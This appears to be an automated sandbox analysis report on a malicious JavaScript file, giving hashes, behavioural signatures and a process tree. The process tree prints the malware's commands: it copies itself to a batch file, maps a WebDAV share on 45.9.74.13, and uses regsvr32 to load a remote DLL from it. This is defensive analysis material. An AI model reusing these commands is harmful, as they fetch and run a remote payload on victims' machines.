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Analysis

  • max time kernel
    93s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2024, 18:17

General

  • Target

    972ace08f45f2ec4feb3ac474f4942e28f663c053319aef7f08bd27f7d4810f6.js

  • Size

    5KB

  • MD5

    bed7f99d0b1975e0bae9437d0b87ad59

  • SHA1

    7ea4aa2674c827c745b656904a9237d7fb5b41de

  • SHA256

    972ace08f45f2ec4feb3ac474f4942e28f663c053319aef7f08bd27f7d4810f6

  • SHA512

    c08b4176656cea36bc5928c16c3b3a5e11651f846b173d7d2154cadac57f9cbe248b727b93c786b098b4ff414c120c7f4e88ce414a0f3cbb4f20426f256a15e4

  • SSDEEP

    96:JgjipT9s8OED7vlUQSVw/tBwOVYe/bCzd9/HqJTTGJ2sy9TlAxrIYc033TdKrsId:ajGRpWyJLFWqVaEqBPqVVVPI94SSSBfm

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\972ace08f45f2ec4feb3ac474f4942e28f663c053319aef7f08bd27f7d4810f6.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:780
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\972ace08f45f2ec4feb3ac474f4942e28f663c053319aef7f08bd27f7d4810f6.js" "C:\Users\Admin\\sanuqb.bat" && "C:\Users\Admin\\sanuqb.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3812
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:2028
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\635.dll
          3⤵
            PID:1852

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\sanuqb.bat

        Filesize

        5KB

        MD5

        bed7f99d0b1975e0bae9437d0b87ad59

        SHA1

        7ea4aa2674c827c745b656904a9237d7fb5b41de

        SHA256

        972ace08f45f2ec4feb3ac474f4942e28f663c053319aef7f08bd27f7d4810f6

        SHA512

        c08b4176656cea36bc5928c16c3b3a5e11651f846b173d7d2154cadac57f9cbe248b727b93c786b098b4ff414c120c7f4e88ce414a0f3cbb4f20426f256a15e4